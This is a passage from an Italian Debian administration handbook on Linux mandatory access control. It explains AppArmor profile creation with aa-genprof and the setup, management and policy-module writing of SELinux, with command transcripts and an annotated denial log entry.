Prelude permette il monitoraggio centralizzato delle informazioni di sicurezza. La sua architetture modulare fornisce un server (il manager in prelude-manager) che raccoglie gli allarmi generati da sensori di varie tipologie.

Suricata può essere configurato come un sensore. Altre possibilità includono prelude-lml (Log Monitor Lackey) che controlla i file di log (in maniera del tutto simile a logcheck, descritto in Sezione 14.3.1, «Monitorare i log con logcheck»).

14.4. Introduzione a AppArmor

14.4.1. Princìpi

AppArmor è un sistema di Mandatory Access Control (Controllo Accesso Obbligatorio) costruito sull'interfaccia LSM (Linux Security Modules) di Linux. In pratica, il kernel interroga AppArmor prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione. Attraverso questo meccanismo, AppArmor confina programmi ad una serie limitata di risorse.

AppArmor applica una serie di regole (note come "profilo") su ciascun programma. Il profilo applicato dal kernel dipende dal percorso di installazione del programma che si sta eseguendo. Al contrario di SELinux (discusso nella Sezione 14.5, «Introduzione a SELinux»), le norme applicate non dipendono l'utente. Tutti gli utenti devono sottostare allo stesso insieme di regole quando è in esecuzione lo stesso programma (ma i permessi utente tradizionali sono ancora validi e potrebbero causare comportamenti diversi!).

I profili AppArmor sono memorizzati in /etc/apparmor.d/ e contengono un elenco delle regole di controllo d'accesso alle risorse che ogni programma può utilizzare. I profili sono compilati e caricati nel kernel dal comando apparmor_parser. Ogni profilo può essere caricato sia in esecuzione sia in complaining mode. La prima fa rispettare la policy e registra i tentativi di violazione, mentre la seconda non applica la policy ma registra sempre le chiamate di sistema che sarebbero state negate.

14.4.2. Abilitazione di AppArmor e gestione dei profili di AppArmor

Il supporto ad AppArmor è integrato nei kernel standard forniti da Debian. L'abilitazione di AppArmor è quindi solo una questione di installazione, con privilegi root, di alcuni pacchetti eseguendo apt install apparmor apparmor-profiles apparmor-utils.

AppArmor è funzionante dopo l'installazione e aa-status lo confermerà in fretta:

# aa-status apparmor module is loaded. 32 profiles are loaded. 15 profiles are in enforce mode. /usr/bin/man [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 1 processes have profiles defined. 1 processes are in enforce mode. /usr/sbin/libvirtd (468) libvirtd 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.

NOTA Altri profili AppArmor

Il pacchetto apparmor-profiles contiene i profili gestiti a monte dalla comunità AppArmor. Per ottenere ancora più profili è possibile installare apparmor-profiles-extra che contiene i profili sviluppati da Ubuntu e Debian.

Lo stato di ogni profilo può essere scambiato tra la modalità enforce e complain con le chiamate ad aa-enforce e aa-complain passando come parametro il percorso del file eseguibile oppure il percorso del file delle policy. Inoltre un profilo può essere completamente disabilitato con aa-disable o messo in modalità di controllo (per registrare anche le chiamate di sistema accettate) con aa-audit.

# aa-enforce /usr/sbin/avahi-daemon Setting /usr/sbin/avahi-daemon to enforce mode. # aa-complain /etc/apparmor.d/usr.bin.lxc-start Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.

14.4.3. Creare un nuovo profilo

Anche se la creazione di un profilo di AppArmor è piuttosto facile, la maggior parte dei programmi non ne hanno uno. In questa sezione verròà mostrato come creare un nuovo profilo da zero solo utilizzando il programma di destinazione e lasciando che AppArmor monitori le chiamate che il sistema fa e le risorse a cui accede.

I programmi più importanti che devono essere monitorati sono i programmi che si affacciano sulla rete che come tali sono i più probabili obiettivi di aggressori remoti. Per questo AppArmor fornisce il comodo comando aa-unconfined per elencare i programmi che non hanno un profilo associato che sono esposti ad un socket di rete aperto. Con l'opzione --paranoid si ottengono tutti i processi non confinati che hanno una connessione di rete attiva.

# aa-unconfined 451 /usr/bin/containerd not confined 467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined 892 /usr/sbin/exim4 not confined

Nell'esempio seguente, cercheremo quindi di creare un profilo per /sbin/dhclient (c'è già un profilo fornito da apparmor-profiles, quindi si possono confrontare i risultati rispetto al profilo ufficiale). Per fare questo useremo aa-genprof dhclient. Il programma inviterà ad utilizzare l'applicazione in un'altra finestra e una volta finito a tornare a aa-genprof per cercare eventi AppArmor nei registri di sistema e convertire quegli eventi in regole d'accesso. Per ogni evento registrato, verranno suggerite una o più regole che è possibile approvare o modificare ulteriormente in diversi modi:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish S Reading log entries from /var/log/syslog. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. [(Y)es] / (N)o Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw, to profile. Profile: /usr/sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis>] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown 1 - #include <abstractions/gvfs-open> [2 - #include <abstractions/lightdm>] 3 - #include <abstractions/ubuntu-browsers.d/plugins-common> 4 - #include <abstractions/xdg-open> 5 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Setting /usr/sbin/dhclient to enforce mode. Setting /usr/sbin/dhclient-script to enforce mode. Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

Notare che il programma non visualizza i caratteri di controllo digitati ma per la chiarezza espositiva sono stati inclusi nella trascrizione precedente.

Il primo evento rilevato è l'esecuzione di un altro programma. In tal caso, si dispone di più opzioni: è possibile eseguire il programma con il profilo del processo padre (la scelta “Inherit”), è possibile eseguirlo con il proprio profilo dedicato (le scelte "Profile" e "Named", differiscono solo per la possibilità di utilizzare un nome di profilo arbitrario), è possibile eseguirlo con un sub-profilo del processo padre (la scelta "Child"), è possibile eseguirlo senza alcun profilo (la scelta "Unconfined") o si può decidere di non farlo eseguire a nessuno (la scelta "Deny").

Si noti che quando si sceglie di eseguire il programma sotto un profilo dedicato che non esiste ancora, lo strumento creerà il profilo mancante per voi ed allo stesso tempo proporrà delle regole per tale profilo.

A livello di kernel, i poteri speciali dell'utente root vengono suddivisi in "capacità". Quando una chiamata di sistema richiede una capacità specifica, AppArmor verificherà se il profilo permette al programma di fare uso di questa capacità.

Qui il programma cerca le autorizzazioni di lettura per /etc/ssl/openssl.cnf. aa-genprof ha rilevato che questo permesso è stato concesso anche da "astrazioni" multiple e le offre come scelte alternative. Un'astrazione fornisce un insieme riutilizzabile di regole di accesso raggruppando insieme più risorse che sono di solito utilizzate insieme. In questo caso specifico, il file è generalmente reso accessibile attraverso le funzioni relative al NameService della libreria C e digitando "2" si seleziona prima la scelta “#include <abstractions/openssl>” e poi "A" per consentirla.

Si noti che questa richiesta di accesso non fa parte del profilo dhclient ma del nuovo profilo creato quando si è permesso a /usr/sbin/dhclient-script di essere eseguito con il proprio profilo.

Dopo aver percorso tutti gli eventi registrati, il programma propone di salvare tutti i profili che sono stati creati durante l'esecuzione. In questo caso, abbiamo due profili che sono salvati in una volta con "Salva" (ma si possono salvare anche singolarmente) prima di lasciare il programma con "Fine".

aa-genprof è in realtà solo un modulo intelligente intorno a aa-logprof: esso crea un profilo vuoto, lo carica in modalità compain ed esegue aa-logprof che è uno strumento per aggiornare il profilo in base alle violazioni del profilo che sono state registrate. Così in seguito si può eseguire nuovamente questo strumento per migliorare il profilo appena creato.

Se si desidera che il profilo generato sia completo, è necessario utilizzare il programma in tutti i modi legittimamente possibili. Nel caso di dhclient, significa eseguirlo tramite Network Manager, eseguirlo tramite ifupdown, eseguirlo manualmente, ecc. Alla fine, si potrebbe ottenere un /etc/apparmor.d/sbin.dhclient simile al profilo fornito da apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

Anche /etc/apparmor.d/usr.sbin.dhclient-script potrebbe essere simile a /usr/share/apparmor/extra-profiles/sbin.dhclient, distribuito anch'esso in apparmor-profiles.

14.5. Introduzione a SELinux

14.5.1. Princìpi

SELinux (Security Enhanced Linux) è un sistema di controllo degli accessi obbligatorio costruito sull'interfaccia LSM (Linux Security Modules) di Linux. In pratica, il kernel interroga SELinux prima di ogni chiamata di sistema per sapere se il processo è autorizzato ad eseguire una data operazione.

SELinux sfrutta una serie di regole, note comunemente come politiche (policy), per autorizzare o vietare operazioni. Queste regole sono difficili da creare. Fortunatamente vengono fornite due politiche standard (targeted e strict) per evitare il grosso del lavoro di configurazione.

Con SELinux, la gestione dei diritti è completamente diversa dai sistemi Unix tradizionali. I diritti di un processo dipendono dal proprio contesto di sicurezza. Il contesto è definito dall'identità dell'utente che ha avviato il processo, il ruolo e il dominio che l'utente presentava in quel momento. I diritti in realtà dipendono dal dominio, ma le transizioni attraverso i domini sono controllate dai ruoli. Infine, le possibili transizioni tra i ruoli dipendono dall'identità.

Figura 14.1. Contesti di sicurezza e utenti Unix

In pratica, durante l'accesso, all'utente viene assegnato un contesto di sicurezza predefinito (a seconda dei ruoli che dovrebbe essere in grado di assumere). Questo definisce il dominio corrente, e di conseguenza il dominio che tutti i suoi processi figli acquisiranno. Se si vuole variare il ruolo corrente e il suo dominio associato, si deve eseguire newrole -r ruolo_r -t dominio_t (di solito esiste un solo dominio permesso per un dato ruolo, per cui il parametro -t si può tralasciare). Questo comando autentica l'utente richiedendo l'inserimento della password. Questa caratteristica impedisce ai programmi di cambiare automaticamente i ruoli. Tali cambiamenti possono avvenire solo se esplicitamente ammessi nella politica di SELinux.

Ovviamente i diritti non si applicano a tutti i soggetti (file, directory, socket, dispositivi, ecc.). Possono variare da oggetto a oggetto. Per applicare i diritti, ad ogni oggetto viene associato un tipo (questo processo è conosciuto come etichettatura). I diritti del dominio allora si esprimono come insiemi di operazioni permesse(vietate) su quei tipi (e, indirettamente, su tutti gli oggetti etichettati con quel tipo).

EXTRA Domini e tipi sono equivalenti

Internamente, un dominio è soltanto un tipo, ma un tipo applicabile solo ai processi. È per questo motivo che i domini hanno il suffisso _t proprio come i tipi degli oggetti.

Per impostazione predefinita, un programma eredita il relativo dominio dall'utente che lo ha eseguito, ma la politica standard di SELinux si aspetta che i programmi più importanti vengano eseguiti in domini dedicati. Per ottenere ciò, questi eseguibili sono etichettati con un tipo univoco (per esempio ssh è etichettato come ssh_exec_t, e quando il programma parte, automaticamente passa al dominio ssh_t). Questo meccanismo automatico di transizione di dominio permette di concedere esclusivamente i diritti richiesti da ciascun programma. Si tratta di un principio fondamentale di SELinux.

Figura 14.2. Transizioni automatiche attraverso domini

IN PRATICA Recuperare il contesto di sicurezza

Per recuperare il contesto di sicurezza corrente in un terminale, eseguire id -Z.

$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Se invece si riceve un messaggio che riporta id: --context (-Z) works only on an SELinux-enabled kernel, allora è necessario abilitare prima SELinux eseguendo selinux-activate quindi riavviare.

Per recuperare il contesto di sicurezza di un dato processo, si usa l'opzione Z di ps.

$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

Il primo campo riporta identità, ruolo, dominio e livello MCS, separati da due punti. Il livello MCS (Multi-Category Security) è un parametro che interviene nella configurazione della politica di protezione della riservatezza, che regola l'accesso ai file basato sulla relativa sensibilità. Questa caratteristica non verrà trattata in questo libro.

Infine, per recuperare il tipo assegnato ad un file, usare ls -Z.

$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Vale la pena notare che identità e ruolo assegnati a un file non hanno alcuna particolare importanza (non vengono mai utilizzati), ma per ragioni di uniformità, ad ogni oggetto viene assegnato un contesto di sicurezza completo.

14.5.2. Impostare SELinux

Il supporto di SELinux è incluso nei kernel standard forniti da Debian. Gli strumenti di base in Unix supportano SELinux senza alcuna modifica. Abilitare SELinux quindi è relativamente semplice.

Il comando apt install selinux-basics selinux-policy-default auditd installerà automaticamente i pacchetti richiesti per configurare un sistema SELinux.

Il pacchetto selinux-policy-default fornisce un insieme di regole standard. Per impostazione predefinita, questa politica limita l'accesso ad alcuni servizi fortemente esposti. Le sessioni utente non sono limitate ed è perciò improbabile che SELinux possa bloccare operazioni utente legittime. Comunque, questo aumenta la sicurezza per i servizi in esecuzione sulla macchina. Per installare un insieme di politiche equivalenti alle vecchie regole "restrittive", basta disabilitare il modulo unconfined (la gestione dei moduli è descritta in dettaglio più avanti in questa sezione).

Una volta che la politica è stata installata, bisogna etichettare tutti i file presenti (il che significa assegnare loro un tipo). Questa operazione dev'essere intrapresa manualmente con fixfiles relabel.

Il sistema SELinux a questo punto è pronto. Per abilitarlo, bisogna aggiungere il parametro selinux=1 security=selinux al kernel Linux. Il parametro audit=1 abilita la registrazione dei log di SELinux che memorizzano tutte le operazioni negate/non permesse. Da ultimo, il parametro enforcing=1 mette le regole in applicazione: senza di esso SELinux lavora nella modalità predefinita permissiva dove le azioni bloccate vengono raccolte nei log ma comunque eseguite. Bisogna perciò modificare il file di configurazione del bootloader GRUB per aggiungere i parametri desiderati. Un modo semplice per farlo è quello di modificare la variabile GRUB_CMDLINE_LINUX in /etc/default/grub e di lanciare update-grub. SELinux verrà attivato al riavvio.

Vale la pena notare che lo script selinux-activate automatizza queste operazioni e forza l'etichettatura all'avvio successivo (che evita la creazione di nuovi file non etichettati mentre SELinux non è ancora attivo e mentre l'etichettatura è in corso).

14.5.3. Gestire un sistema SELinux

La politica di SELinux corrisponde ad un insieme modulare di regole, e la loro installazione rileva e abilita i moduli in base ai servizi già presenti. Il sistema è così immediatamente operativo. Comunque, quando un servizio viene installato dopo l'applicazione della politica di SELinux, deve essere possibile abilitare manualmente il modulo corrispondente. Questo è lo scopo del comando semodule. Inoltre, dev'essere possibile definire i ruoli che ogni utente può assumere, che può essere fatto con il comando semanage.

Questi due comandi quindi vengono usati per apportare modifiche all'attuale configurazione di SELinux, che è memorizzata in /etc/selinux/default/. Diversamente da altri file di configurazione che si trovano in /etc/, tutti questi file non devono essere modificati manualmente. Si devono utilizzare i programmi dedicati a questo scopo.

APPROFONDIMENTO Ulteriore documentazione

Dal momento che NSA non fornisce alcuna documentazione ufficiale, la comunità ha istituito un wiki per compensare. Sono state raccolte un sacco di informazioni, ma bisogna fare attenzione che la maggior parte dei collaboratori SELinux sono utenti Fedora (dove SELinux è abilitato in modo predefinito). La documentazione pertanto tende ad essere specifica per questa distribuzione.

→ https://selinuxproject.org

Si dovrebbe anche dare un'occhiata alla pagina del wiki Debian dedicata.

→ https://wiki.debian.org/SELinux

14.5.3.1. Gestione dei moduli SELinux

I moduli disponibili per SELinux sono situati nella directory /usr/share/selinux/default/. Per abilitare uno di questi nella configurazione corrente, si usa semodule -i modulo.pp.bz2. L'estensione pp.bz2 sta per policy package(compressa con bzip2).

Si può rimuovere un modulo dalla configurazione corrente con semodule -r modulo. Infine, il comando semodule -l elenca i moduli che sono attualmente installati. Visualizza anche i loro numeri di versione. I moduli possono essere attivati selettivamente con semodule -e e disabilitai con semodule -d.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2 libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system. # semodule -l accountsd acct [...] # semodule -e abrt # semodule -d accountsd # semodule -l abrt acct [...] # semodule -r abrt libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule carica immediatamente la nuova configurazione tranne nel caso si usi la sua opzione -n. Vale la pena notare che per impostazione predefinita il programma agisce sulla configurazione corrente (riportata nella variabile SELINUXTYPE in /etc/selinux/config), ma si può anche modificarne un'altra specificandola con l'opzione -s.

14.5.3.2. Gestione delle identità

Ogni volta che un utente effettua l'accesso, assume una determinata identità SELinux. Questa identità definisce i ruoli che egli può assumere. Queste due corrispondenze (utente-identità e identità-ruoli) sono configurabili con il comando semanage.

Bisogna assolutamente leggere la pagina di manuale semanage(8). Tutti i concetti gestiti hanno la propria pagina di manuale; per esempio, semanage-login(8). Anche se la sintassi dei comandi tende ad essere simile per tutti i concetti che vengono gestiti, si consiglia di leggere la sua pagina manuale. Si troveranno opzioni comuni per la maggior parte dei sottocomandi: -a per aggiungere, -d per cancellare, -m per modificare, -l per elencare e -t per indicare un tipo (o dominio).

semanage login -l elenca la corrispondenza in uso degli identificatori degli utenti con le identità SELinux. Gli utenti che non hanno un riferimento esplicito acquisiscono l'identità riportata nella voce __default__. Il comando semanage login -a -s user_u utente associa l'identità user_u al dato utente. Infine, semanage login -d utente rimuove la voce corrispondente assegnata all'utente.

# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * rhertzog user_u s0 * root unconfined_u s0-s0:c0.c1023 * # semanage login -d rhertzog

semanage user -l elenca la corrispondenza delle identità degli utenti in SELinux con i ruoli assegnati. L'aggiunta di una nuova identità richiede la definizione sia dei ruoli corrispondenti sia di un prefisso di etichetta utilizzato per assegnare un tipo ai file personali (/home/utente/*). Il prefisso deve essere preso da user, staff, e sysadm. Il prefisso "staff" ha come risultato file di tipo "staff_home_dir_t". Per creare una nuova identità per l'utente in SELinux basta lanciare semanage user -a -R ruoli -P prefisso identità. Infine, è possibile rimuovere un'identità di SELinux con semanage user -d identity.

# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u

14.5.3.3. Gestire i contesti dei file, le porte e i booleani

Ogni modulo SELinux fornisce un insieme di regole per l'etichettatura dei file, ma è anche possibile aggiungerne di personalizzate per far fronte a casi specifici. Per esempio, se si vuole che il server web possa leggere i file dentro la gerarchia /srv/www/, si deve lanciare semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" seguito da restorecon -R /srv/www/. Il primo comando registra le nuove regole sull'etichettatura e il secondo reimposta i tipi di file in base alle regole di etichettatura correnti.

In modo del tutto simile, le porte TCP/UDP sono etichettate in modo da assicurare che solo il rispettivo demone possa rimanere in ascolto su di esse. Per esempio, se si vuole che il server web rimanga in ascolto su porta 8080, è consigliabile seguire semanage port -m -t http_port_t -p tcp 8080.

Alcuni moduli SELinux esportano opzioni Booleane che si possono personalizzare per variare il comportamento delle regole predefinite. L'utilità getsebool può essere usata per ispezionare tali opzioni (getsebool booleano mostra un'opzione, e getsebool -a le mostra tutte). Il comando setsebool booleano valore modifica il valore corrente di un'opzione Booleana. L'opzione -P rende permanente la modifica, cioè il nuovo valore diventa il predefinito e questo rimarrà tale nei successivi riavvii. L'esempio sottostante concede ai server web l'accesso alle directory home (utile quando gli utenti hanno siti web personali in ~/public_html/).

# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on

14.5.4. Adattare le regole

Dato che la politica di SELinux è modulare, potrebbe essere interessante sviluppare nuovi moduli per le applicazioni (eventualmente personalizzate) che ne sono prive. Questi nuovi moduli quindi completerebbero la politica di riferimento.

Per creare nuovi moduli, è richiesto il pacchetto selinux-policy-dev oltre a selinux-policy-doc. Quest'ultimo contiene la documentazione delle regole standard (/usr/share/doc/selinux-policy-doc/html/) e file di esempio che possono essere usati come modelli per creare nuovi moduli. Installiamo questi file ed esaminiamoli più da vicino:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile $ cp /usr/share/doc/selinux-policy-doc/example.fc ./ $ cp /usr/share/doc/selinux-policy-doc/example.if ./ $ cp /usr/share/doc/selinux-policy-doc/example.te ./

Il file .te è il più importante. Definisce le regole. Il file .fc definisce i "contesti dei file", che sono i tipi assegnati ai file relativi a questo modulo. I dati all'interno del file .fc sono usati durante la fase di etichettatura dei file. Infine, il file .if definisce l'interfaccia del modulo: si tratta di una serie di "funzioni pubbliche", che altri moduli possono utilizzare per interagire correttamente con il modulo che si sta creando.

14.5.4.1. Scrivere un file .fc

Analizzare l'esempio sotto dovrebbe essere sufficiente per capire la struttura di un file di questo tipo. Si possono usare espressioni regolari per assegnare lo stesso contesto di sicurezza a file multipli, oppure anche a un intero albero di directory.

Esempio 14.2. File example.fc

# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Scrivere un file .if benutze

Nell'esempio sotto, la prima interfaccia ("miaapp_domtrans") controlla chi può eseguire l'applicazione. La seconda ("miaapp_lettura_log") concede i diritti di lettura sui file di log dell'applicazione.

Ogni interfaccia deve generare un insieme valido di regole che può essere incluso in un file .te. Si deve perciò dichiarare tutti i tipi che si usano (con la macro gen_require), e usare direttive standard per concedere i diritti. Da notare, comunque, che si possono utilizzare le interfacce fornite dagli altri moduli. Nella prossima sezione si approfondirà maggiormente come esprimere questi diritti.

Esempio 14.3. File example.if

## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The desc ## tag can also use p, ul, and ol ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to transition. ## </summary> ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## <summary> ## Domain allowed to read the log files. ## </summary> ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file read_file_perms; ')

DOCUMENTAZIONE Spiegazioni in merito alla politica di riferimento

La politica di riferimento è in evoluzione come ogni altro progetto di software libero: in base ai contributi volontari. Il progetto è ospitato presso Tresys, una delle aziende più attive nel campo di SELinux. Il suo wiki contiene spiegazioni su come le regole sono strutturate e come crearne di nuove.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Scrivere un file .te

Osservare il file example.te:

APPROFONDIMENTO Il linguaggio macro m4

Per strutturare in modo appropriato la politica, gli sviluppatori di SELinux utilizzano un processore di comandi macro. Invece di duplicare molte direttive allow simili, creano "funzioni macro" per sfruttare una logica a più alto livello, che si traduce anche in una politica maggiormente comprensibile.

In pratica, per compilare queste regole viene usato m4. Con esso si esegue l'operazione opposta: si espandono tutte le direttive ad alto livello in un enorme database di direttive allow.

Le "interfacce" di SELinux sono semplicemente funzioni macro che vengono sostituite da un insieme di regole al momento della loro compilazione. Allo stesso modo, alcuni diritti sono in realtà gruppi di diritti che vengono sostituiti dai loro valori in fase di compilazione.

policy_module(example,1.0.0) # il nome di un modulo non di base deve corrispondere al nome del file ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # politica locale per Myapp # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Il modulo dev'essere identificato da nome e numero di versione. Questa direttiva è obbligatoria.

Se il modulo introduce nuovi tipi, deve dichiararli con direttive come questa. Non bisogna esitare a creare tanti tipi quanti necessari piuttosto che concedere troppi inutili diritti.

Queste interfacce definiscono il tipo miaapp_t come un dominio di processo che deve essere usato da ogni eseguibile etichettato con miaapp_exec_t. Implicitamente, ciò aggiunge l'attributo exec_type a tutti questi soggetti, che a loro volta permettono ad altri moduli di concedere i diritti di esecuzione su questi programmi: per esempio, il modulo userdomain concede ai processi con dominio user_t, staff_t e sysadm_t di eseguirli. I domini di altre applicazioni circoscritte non avranno i diritti di eseguirli, finché le regole non concedono loro diritti simili (è questo il caso, per esempio, di dpkg con il relativo dominio dpkg_t).

logging_log_file è un'interfaccia fornita dalla politica di riferimento. Essa indica che i file etichettati con quel dato tipo sono file di log che possono beneficiare delle regole associate (per esempio concedendo i diritti a logrotate in modo che possa manipolarli).

La direttiva allow è la direttiva base per autorizzare un'operazione. Il primo parametro è il dominio del processo a cui è concessa l'esecuzione dell'operazione. Il secondo definisce l'oggetto che un processo del primo dominio può manipolare. Questo parametro si definisce come "tipo:classe" dove tipo è il proprio tipo SELinux e classe descrive la natura dell'oggetto (file, directory, socket, fifo, ecc.). Infine, l'ultimo parametro descrive i permessi (le operazioni consentite).

I permessi sono definiti come un insieme di operazioni consentite e seguono questo modello: { operazione1 operazione2 }. Si possono usare comunque anche macro che rappresentano i permessi più comuni. L'elenco si trova in /usr/share/selinux/devel/include/support/obj_perm_sets.spt.

La seguente pagina web fornisce una lista relativamente esaustiva delle classi di oggetti e dei permessi che possono essere concessi.

→ https://selinuxproject.org/page/ObjectClassesPerms

Ora si deve trovare l'insieme minimo di regole necessarie per assicurare che l'applicazione o il servizio in questione funzioni correttamente. Per ottenere ciò, bisogna avere una buona conoscenza di come funziona l'applicazione e di che genere di dati vengono gestiti e/o prodotti.

È comunque possibile un approccio empirico. Una volta che i soggetti rilevanti sono stati correttamente etichettati, si può usare l'applicazione in modalità permissiva: che verrebbero bloccate vengono registrate ma vengono comunque eseguite. Analizzando i log, si possono identificare le operazioni da consentire. Questo è un esempio di una di queste voci di log:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Per comprendere meglio questo messaggio, studiamolo pezzo per pezzo.

Tabella 14.1. Analisi di un tracciamento di SELinux

Messaggio | Descrizione
avc: denied | Un'operazione è stata negata.
{ read write } | Questa operazione ha richiesto i permessi di lettura e scrittura.
pid=1876 | Il processo con PID 1876 ha eseguito l'operazione (o ha tentato di eseguirla).
comm="syslogd" | Il processo era un'istanza del programma syslogd.
name="xconsole" | L'oggetto di destinazione è stato chiamato xconsole. A volte invece si può avere - con il percorso completo - anche un "percorso" variabile.
dev=tmpfs | Il device che contiene l'oggetto di destinazione è un tmpfs (un filesystem in memoria). Per un disco reale, si può vede la partizione che ospita l'oggetto (per esempio: "sda3").
ino=5510 | L'oggetto è identificato dall'inode numero 5510.
scontext=system_u:system_r:syslogd_t:s0 | Questo è il contesto di sicurezza del processo che ha eseguito l'operazione.
tcontext=system_u:object_r:device_t:s0 | Questo è il contesto di sicurezza dell'oggetto di destinazione.
tclass=fifo_file | L'oggetto di destinazione è un file FIFO.

